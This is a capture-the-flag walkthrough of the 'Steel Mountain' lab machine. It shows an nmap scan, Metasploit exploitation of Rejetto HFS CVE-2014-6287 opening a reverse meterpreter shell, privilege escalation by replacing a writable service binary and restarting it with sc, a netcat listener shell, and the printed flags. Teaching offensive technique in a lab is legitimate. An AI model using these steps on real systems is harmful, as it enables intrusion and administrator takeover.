Hack into a Mr. Robot themed Windows machine. Use metasploit for initial access, utilise powershell for Windows privilege escalation enumeration and learn a new technique to get Administrator access.

Steel Mountain

đź’˘ We will cover the topics

  • Network Enumeration
  • CVE-2014-6287 - Rejetto HTTP File Server (HFS) 2.3.x

Task 1 Introduction

In this room you will enumerate a Windows machine, gain initial access with Metasploit, use Powershell to further enumerate the machine and escalate your privileges to Administrator.

If you don’t have the right security tools and environment, deploy your own Kali Linux machine and control it in your browser, with our Kali Room.

Please note that this machine does not respond to ping (ICMP) and may take a few minutes to boot up.

Deploy the machine.

Who is the employee of the month?

1

<img src="/img/BillHarper.png" style="width:200px;height:200px;" />

Bill Harper

Task 2 Initial Access

Now you have deployed the machine, lets get an initial shell!

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kali@kali:~/CTFs/tryhackme/Steel Mountain$ sudo nmap -A -sS -sC -sV -O 10.10.208.51
[sudo] password for kali:
Starting Nmap 7.91 ( https://nmap.org ) at 2020-11-18 19:33 CET
Nmap scan report for 10.10.208.51
Host is up (0.062s latency).
Not shown: 989 closed ports
PORT      STATE SERVICE            VERSION
80/tcp    open  http               Microsoft IIS httpd 8.5
| http-methods:
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/8.5
|_http-title: Site doesn't have a title (text/html).
135/tcp   open  msrpc              Microsoft Windows RPC
139/tcp   open  netbios-ssn        Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds       Microsoft Windows Server 2008 R2 - 2012 microsoft-ds
3389/tcp  open  ssl/ms-wbt-server?
| ssl-cert: Subject: commonName=steelmountain
| Not valid before: 2020-10-11T19:04:29
|_Not valid after:  2021-04-12T19:04:29
|_ssl-date: 2020-11-18T18:35:02+00:00; +1s from scanner time.
8080/tcp  open  http               HttpFileServer httpd 2.3
|_http-server-header: HFS 2.3
|_http-title: HFS /
49152/tcp open  msrpc              Microsoft Windows RPC
49153/tcp open  msrpc              Microsoft Windows RPC
49154/tcp open  msrpc              Microsoft Windows RPC
49155/tcp open  msrpc              Microsoft Windows RPC
49157/tcp open  msrpc              Microsoft Windows RPC
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.91%E=4%D=11/18%OT=80%CT=1%CU=41940%PV=Y%DS=2%DC=T%G=Y%TM=5FB569
OS:55%P=x86_64-pc-linux-gnu)SEQ(SP=106%GCD=1%ISR=10E%TI=I%CI=I%II=I%SS=S%TS
OS:=7)OPS(O1=M508NW8ST11%O2=M508NW8ST11%O3=M508NW8NNT11%O4=M508NW8ST11%O5=M
OS:508NW8ST11%O6=M508ST11)WIN(W1=2000%W2=2000%W3=2000%W4=2000%W5=2000%W6=20
OS:00)ECN(R=Y%DF=Y%T=80%W=2000%O=M508NW8NNS%CC=Y%Q=)T1(R=Y%DF=Y%T=80%S=O%A=
OS:S+%F=AS%RD=0%Q=)T2(R=Y%DF=Y%T=80%W=0%S=Z%A=S%F=AR%O=%RD=0%Q=)T3(R=Y%DF=Y
OS:%T=80%W=0%S=Z%A=O%F=AR%O=%RD=0%Q=)T4(R=Y%DF=Y%T=80%W=0%S=A%A=O%F=R%O=%RD
OS:=0%Q=)T5(R=Y%DF=Y%T=80%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=80%W=0
OS:%S=A%A=O%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=80%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1
OS:(R=Y%DF=N%T=80%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI
OS:=N%T=80%CD=Z)

Network Distance: 2 hops
Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows

Host script results:
|_nbstat: NetBIOS name: STEELMOUNTAIN, NetBIOS user: <unknown>, NetBIOS MAC: 02:65:18:20:4c:83 (unknown)
| smb-security-mode:
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb2-security-mode:
|   2.02:
|_    Message signing enabled but not required
| smb2-time:
|   date: 2020-11-18T18:34:56
|_  start_date: 2020-11-18T18:17:08

TRACEROUTE (using port 8888/tcp)
HOP RTT      ADDRESS
1   39.63 ms 10.8.0.1
2   39.85 ms 10.10.208.51

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 84.15 seconds

Scan the machine with nmap. What is the other port running a web server on?

8080

Take a look at the other web server. What file server is running?

https://www.rejetto.com/hfs/

Rejetto HTTP File Server

What is the CVE number to exploit this file server?

Rejetto HTTP File Server (HFS) 2.3.x

2014-6287

Use Metasploit to get an initial shell. What is the user flag?

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kali@kali:~/CTFs/tryhackme/Steel Mountain$ msfconsole -q
msf5 > search 2014-6287

Matching Modules
================

   #  Name                                   Disclosure Date  Rank       Check  Description
   -  ----                                   ---------------  ----       -----  -----------
   0  exploit/windows/http/rejetto_hfs_exec  2014-09-11       excellent  Yes    Rejetto HttpFileServer Remote Command Execution


msf5 > use 0
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf5 exploit(windows/http/rejetto_hfs_exec) > options

Module options (exploit/windows/http/rejetto_hfs_exec):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   HTTPDELAY  10               no        Seconds to wait before terminating web server
   Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS                      yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT      80               yes       The target port (TCP)
   SRVHOST    0.0.0.0          yes       The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
   SRVPORT    8080             yes       The local port to listen on.
   SSL        false            no        Negotiate SSL/TLS for outgoing connections
   SSLCert                     no        Path to a custom SSL certificate (default is randomly generated)
   TARGETURI  /                yes       The path of the web application
   URIPATH                     no        The URI to use for this exploit (default is random)
   VHOST                       no        HTTP server virtual host


Payload options (windows/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  process          yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST     192.168.178.57   yes       The listen address (an interface may be specified)
   LPORT     4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Automatic


msf5 exploit(windows/http/rejetto_hfs_exec) > set RHOSTS 10.10.208.51
RHOSTS => 10.10.208.51
msf5 exploit(windows/http/rejetto_hfs_exec) > set RPORT 8080
RPORT => 8080
msf5 exploit(windows/http/rejetto_hfs_exec) > set LHOST 10.8.106.222
LHOST => 10.8.106.222
msf5 exploit(windows/http/rejetto_hfs_exec) > set LPORT 9001
LPORT => 9001
msf5 exploit(windows/http/rejetto_hfs_exec) > run

[*] Started reverse TCP handler on 10.8.106.222:9001
[*] Using URL: http://0.0.0.0:8080/n7csS5eVbQYRq
[*] Local IP: http://192.168.178.57:8080/n7csS5eVbQYRq
[*] Server started.
[*] Sending a malicious request to /
/usr/share/metasploit-framework/modules/exploits/windows/http/rejetto_hfs_exec.rb:110: warning: URI.escape is obsolete
/usr/share/metasploit-framework/modules/exploits/windows/http/rejetto_hfs_exec.rb:110: warning: URI.escape is obsolete
[*] Payload request received: /n7csS5eVbQYRq
[*] Sending stage (176195 bytes) to 10.10.208.51
[*] Meterpreter session 1 opened (10.8.106.222:9001 -> 10.10.208.51:49259) at 2020-11-18 19:56:15 +0100
[!] Tried to delete %TEMP%\qfDBqQnxV.vbs, unknown result
[*] Server stopped.

meterpreter > shell
Process 2272 created.
Channel 2 created.
Microsoft Windows [Version 6.3.9600]
(c) 2013 Microsoft Corporation. All rights reserved.

C:\Users\bill\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup>cd C:\Users\bill\Desktop
cd C:\Users\bill\Desktop

C:\Users\bill\Desktop>dir
dir
 Volume in drive C has no label.
 Volume Serial Number is 2E4A-906A

 Directory of C:\Users\bill\Desktop

09/27/2019  08:08 AM    <DIR>          .
09/27/2019  08:08 AM    <DIR>          ..
09/27/2019  04:42 AM                70 user.txt
               1 File(s)             70 bytes
               2 Dir(s)  44,170,375,168 bytes free

C:\Users\bill\Desktop>type user.txt
type user.txt
b04763b6fcf51fcd7c13abc7db4fd365

b04763b6fcf51fcd7c13abc7db4fd365

Task 3 Privilege Escalation

Now that you have an initial shell on this Windows machine as Bill, we can further enumerate the machine and escalate our privileges to root!

To enumerate this machine, we will use a powershell script called PowerUp, that’s purpose is to evaluate a Windows machine and determine any abnormalities - “PowerUp aims to be a clearinghouse of common Windows privilege escalation vectors that rely on misconfigurations.”

You can download the script here. Now you can use the upload command in Metasploit to upload the script.

To execute this using Meterpreter, I will type load powershell into meterpreter. Then I will enter powershell by entering powershell_shell:

No answer needed

Take close attention to the CanRestart option that is set to true. What is the name of the name of the service which shows up as an unquoted service path vulnerability?

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PS > .\PowerUp.ps1
PS > Invoke-AllCHecks


ServiceName    : AdvancedSystemCareService9
Path           : C:\Program Files (x86)\IObit\Advanced SystemCare\ASCService.exe
ModifiablePath : @{ModifiablePath=C:\; IdentityReference=BUILTIN\Users; Permissions=AppendData/AddSubdirectory}
StartName      : LocalSystem
AbuseFunction  : Write-ServiceBinary -Name 'AdvancedSystemCareService9' -Path <HijackPath>
CanRestart     : True
Name           : AdvancedSystemCareService9
Check          : Unquoted Service Paths

ServiceName    : AdvancedSystemCareService9
Path           : C:\Program Files (x86)\IObit\Advanced SystemCare\ASCService.exe
ModifiablePath : @{ModifiablePath=C:\; IdentityReference=BUILTIN\Users; Permissions=WriteData/AddFile}
StartName      : LocalSystem
AbuseFunction  : Write-ServiceBinary -Name 'AdvancedSystemCareService9' -Path <HijackPath>
CanRestart     : True
Name           : AdvancedSystemCareService9
Check          : Unquoted Service Paths

ServiceName    : AdvancedSystemCareService9
Path           : C:\Program Files (x86)\IObit\Advanced SystemCare\ASCService.exe
ModifiablePath : @{ModifiablePath=C:\Program Files (x86)\IObit; IdentityReference=STEELMOUNTAIN\bill;
                 Permissions=System.Object[]}
StartName      : LocalSystem
AbuseFunction  : Write-ServiceBinary -Name 'AdvancedSystemCareService9' -Path <HijackPath>
CanRestart     : True
Name           : AdvancedSystemCareService9
Check          : Unquoted Service Paths

ServiceName    : AdvancedSystemCareService9
Path           : C:\Program Files (x86)\IObit\Advanced SystemCare\ASCService.exe
ModifiablePath : @{ModifiablePath=C:\Program Files (x86)\IObit\Advanced SystemCare\ASCService.exe;
                 IdentityReference=STEELMOUNTAIN\bill; Permissions=System.Object[]}
StartName      : LocalSystem
AbuseFunction  : Write-ServiceBinary -Name 'AdvancedSystemCareService9' -Path <HijackPath>
CanRestart     : True
Name           : AdvancedSystemCareService9
Check          : Unquoted Service Paths

ServiceName    : AWSLiteAgent
Path           : C:\Program Files\Amazon\XenTools\LiteAgent.exe
ModifiablePath : @{ModifiablePath=C:\; IdentityReference=BUILTIN\Users; Permissions=AppendData/AddSubdirectory}
StartName      : LocalSystem
AbuseFunction  : Write-ServiceBinary -Name 'AWSLiteAgent' -Path <HijackPath>
CanRestart     : False
Name           : AWSLiteAgent
Check          : Unquoted Service Paths

ServiceName    : AWSLiteAgent
Path           : C:\Program Files\Amazon\XenTools\LiteAgent.exe
ModifiablePath : @{ModifiablePath=C:\; IdentityReference=BUILTIN\Users; Permissions=WriteData/AddFile}
StartName      : LocalSystem
AbuseFunction  : Write-ServiceBinary -Name 'AWSLiteAgent' -Path <HijackPath>
CanRestart     : False
Name           : AWSLiteAgent
Check          : Unquoted Service Paths

ServiceName    : IObitUnSvr
Path           : C:\Program Files (x86)\IObit\IObit Uninstaller\IUService.exe
ModifiablePath : @{ModifiablePath=C:\; IdentityReference=BUILTIN\Users; Permissions=AppendData/AddSubdirectory}
StartName      : LocalSystem
AbuseFunction  : Write-ServiceBinary -Name 'IObitUnSvr' -Path <HijackPath>
CanRestart     : False
Name           : IObitUnSvr
Check          : Unquoted Service Paths

ServiceName    : IObitUnSvr
Path           : C:\Program Files (x86)\IObit\IObit Uninstaller\IUService.exe
ModifiablePath : @{ModifiablePath=C:\; IdentityReference=BUILTIN\Users; Permissions=WriteData/AddFile}
StartName      : LocalSystem
AbuseFunction  : Write-ServiceBinary -Name 'IObitUnSvr' -Path <HijackPath>
CanRestart     : False
Name           : IObitUnSvr
Check          : Unquoted Service Paths

ServiceName    : IObitUnSvr
Path           : C:\Program Files (x86)\IObit\IObit Uninstaller\IUService.exe
ModifiablePath : @{ModifiablePath=C:\Program Files (x86)\IObit; IdentityReference=STEELMOUNTAIN\bill;
                 Permissions=System.Object[]}
StartName      : LocalSystem
AbuseFunction  : Write-ServiceBinary -Name 'IObitUnSvr' -Path <HijackPath>
CanRestart     : False
Name           : IObitUnSvr
Check          : Unquoted Service Paths

ServiceName    : IObitUnSvr
Path           : C:\Program Files (x86)\IObit\IObit Uninstaller\IUService.exe
ModifiablePath : @{ModifiablePath=C:\Program Files (x86)\IObit\IObit Uninstaller\IUService.exe;
                 IdentityReference=STEELMOUNTAIN\bill; Permissions=System.Object[]}
StartName      : LocalSystem
AbuseFunction  : Write-ServiceBinary -Name 'IObitUnSvr' -Path <HijackPath>
CanRestart     : False
Name           : IObitUnSvr
Check          : Unquoted Service Paths

ServiceName    : LiveUpdateSvc
Path           : C:\Program Files (x86)\IObit\LiveUpdate\LiveUpdate.exe
ModifiablePath : @{ModifiablePath=C:\; IdentityReference=BUILTIN\Users; Permissions=AppendData/AddSubdirectory}
StartName      : LocalSystem
AbuseFunction  : Write-ServiceBinary -Name 'LiveUpdateSvc' -Path <HijackPath>
CanRestart     : False
Name           : LiveUpdateSvc
Check          : Unquoted Service Paths

ServiceName    : LiveUpdateSvc
Path           : C:\Program Files (x86)\IObit\LiveUpdate\LiveUpdate.exe
ModifiablePath : @{ModifiablePath=C:\; IdentityReference=BUILTIN\Users; Permissions=WriteData/AddFile}
StartName      : LocalSystem
AbuseFunction  : Write-ServiceBinary -Name 'LiveUpdateSvc' -Path <HijackPath>
CanRestart     : False
Name           : LiveUpdateSvc
Check          : Unquoted Service Paths

ServiceName    : LiveUpdateSvc
Path           : C:\Program Files (x86)\IObit\LiveUpdate\LiveUpdate.exe
ModifiablePath : @{ModifiablePath=C:\Program Files (x86)\IObit\LiveUpdate\LiveUpdate.exe;
                 IdentityReference=STEELMOUNTAIN\bill; Permissions=System.Object[]}
StartName      : LocalSystem
AbuseFunction  : Write-ServiceBinary -Name 'LiveUpdateSvc' -Path <HijackPath>
CanRestart     : False
Name           : LiveUpdateSvc
Check          : Unquoted Service Paths

ServiceName                     : AdvancedSystemCareService9
Path                            : C:\Program Files (x86)\IObit\Advanced SystemCare\ASCService.exe
ModifiableFile                  : C:\Program Files (x86)\IObit\Advanced SystemCare\ASCService.exe
ModifiableFilePermissions       : {WriteAttributes, Synchronize, ReadControl, ReadData/ListDirectory...}
ModifiableFileIdentityReference : STEELMOUNTAIN\bill
StartName                       : LocalSystem
AbuseFunction                   : Install-ServiceBinary -Name 'AdvancedSystemCareService9'
CanRestart                      : True
Name                            : AdvancedSystemCareService9
Check                           : Modifiable Service Files

ServiceName                     : IObitUnSvr
Path                            : C:\Program Files (x86)\IObit\IObit Uninstaller\IUService.exe
ModifiableFile                  : C:\Program Files (x86)\IObit\IObit Uninstaller\IUService.exe
ModifiableFilePermissions       : {WriteAttributes, Synchronize, ReadControl, ReadData/ListDirectory...}
ModifiableFileIdentityReference : STEELMOUNTAIN\bill
StartName                       : LocalSystem
AbuseFunction                   : Install-ServiceBinary -Name 'IObitUnSvr'
CanRestart                      : False
Name                            : IObitUnSvr
Check                           : Modifiable Service Files

ServiceName                     : LiveUpdateSvc
Path                            : C:\Program Files (x86)\IObit\LiveUpdate\LiveUpdate.exe
ModifiableFile                  : C:\Program Files (x86)\IObit\LiveUpdate\LiveUpdate.exe
ModifiableFilePermissions       : {WriteAttributes, Synchronize, ReadControl, ReadData/ListDirectory...}
ModifiableFileIdentityReference : STEELMOUNTAIN\bill
StartName                       : LocalSystem
AbuseFunction                   : Install-ServiceBinary -Name 'LiveUpdateSvc'
CanRestart                      : False
Name                            : LiveUpdateSvc
Check                           : Modifiable Service Files

AdvancedSystemCareService9

The CanRestart option being true, allows us to restart a service on the system, the directory to the application is also write-able. This means we can replace the legitimate application with our malicious one, restart the service, which will run our infected program!

Use msfvenom to generate a reverse shell as an Windows executable.

Upload your binary and replace the legitimate one. Then restart the program to get a shell as root.

Note: The service showed up as being unquoted (and could be exploited using this technique), however, in this case we have exploited weak file permissions on the service files instead.

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meterpreter > shell
Process 1812 created.
Channel 14 created.
Microsoft Windows [Version 6.3.9600]
(c) 2013 Microsoft Corporation. All rights reserved.

C:\Users\bill\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup>cd "C:\Program Files (x86)\IObit\"
cd "C:\Program Files (x86)\IObit\"

C:\Program Files (x86)\IObit>dir
dir
 Volume in drive C has no label.
 Volume Serial Number is 2E4A-906A

 Directory of C:\Program Files (x86)\IObit

11/18/2020  11:30 AM    <DIR>          .
11/18/2020  11:30 AM    <DIR>          ..
11/18/2020  11:24 AM    <DIR>          Advanced SystemCare
11/18/2020  11:29 AM             7,168 Advanced.exe
09/26/2019  09:35 PM    <DIR>          IObit Uninstaller
09/26/2019  07:18 AM    <DIR>          LiveUpdate
               1 File(s)          7,168 bytes
               5 Dir(s)  44,169,838,592 bytes free

C:\Program Files (x86)\IObit>sc qc AdvancedSystemCareService9
sc qc AdvancedSystemCareService9
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: AdvancedSystemCareService9
        TYPE               : 110  WIN32_OWN_PROCESS (interactive)
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\Program Files (x86)\IObit\Advanced SystemCare\ASCService.exe
        LOAD_ORDER_GROUP   : System Reserved
        TAG                : 1
        DISPLAY_NAME       : Advanced SystemCare Service 9
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem

C:\Program Files (x86)\IObit>sc query AdvancedSystemCareService9
sc query AdvancedSystemCareService9

SERVICE_NAME: AdvancedSystemCareService9
        TYPE               : 110  WIN32_OWN_PROCESS  (interactive)
        STATE              : 4  RUNNING
                                (STOPPABLE, PAUSABLE, ACCEPTS_SHUTDOWN)
        WIN32_EXIT_CODE    : 0  (0x0)
        SERVICE_EXIT_CODE  : 0  (0x0)
        CHECKPOINT         : 0x0
        WAIT_HINT          : 0x0

C:\Program Files (x86)\IObit>sc stop AdvancedSystemCareService9
sc stop AdvancedSystemCareService9

SERVICE_NAME: AdvancedSystemCareService9
        TYPE               : 110  WIN32_OWN_PROCESS  (interactive)
        STATE              : 4  RUNNING
                                (STOPPABLE, PAUSABLE, ACCEPTS_SHUTDOWN)
        WIN32_EXIT_CODE    : 0  (0x0)
        SERVICE_EXIT_CODE  : 0  (0x0)
        CHECKPOINT         : 0x0
        WAIT_HINT          : 0x0

C:\Program Files (x86)\IObit>sc start AdvancedSystemCareService9
sc start AdvancedSystemCareService9
[SC] StartService FAILED 1053:

The service did not respond to the start or control request in a timely fashion.


C:\Program Files (x86)\IObit>

No answer needed

What is the root flag?

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kali@kali:~/CTFs/tryhackme/Steel Mountain$ nc -lnvp 9002
Listening on 0.0.0.0 9002
Connection received on 10.10.208.51 49299
Microsoft Windows [Version 6.3.9600]
(c) 2013 Microsoft Corporation. All rights reserved.

C:\Windows\system32>type "C:\Users\Administrator\Desktop\root.txt
type "C:\Users\Administrator\Desktop\root.txt
9af5f314f57607c00fd09803a587db80

9af5f314f57607c00fd09803a587db80

Task 4 Access and Escalation Without Metasploit

Now let’s complete the room without the use of Metasploit.

For this we will utilise powershell and winPEAS to enumerate the system and collect the relevant information to escalate to

To begin we shall be using the same CVE. However, this time let’s use this exploit.

Note that you will need to have a web server and a netcat listener active at the same time in order for this to work!

To begin, you will need a netcat static binary on your web server. If you do not have one, you can download it from GitHub!

You will need to run the exploit twice. The first time will pull our netcat binary to the system and the second will execute our payload to gain a callback!

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Congratulations, we’re now onto the system. Now we can pull winPEAS to the system using powershell -c.

Once we run winPeas, we see that it points us towards unquoted paths. We can see that it provides us with the name of the service it is also running.

What powershell -c command could we run to manually find out the service name?

Format is “powershell -c “command here”

powershell -c "Get-Service"

Now let’s escalate to Administrator with our new found knowledge.

Generate your payload using msfvenom and pull it to the system using powershell.

Now we can move our payload to the unquoted directory winPEAS alerted us to and restart the service with two commands.

First we need to stop the service which we can do like so;

sc stop AdvancedSystemCareService9

Shortly followed by;

sc start AdvancedSystemCareService9

Once this command runs, you will see you gain a shell as Administrator on our listener!

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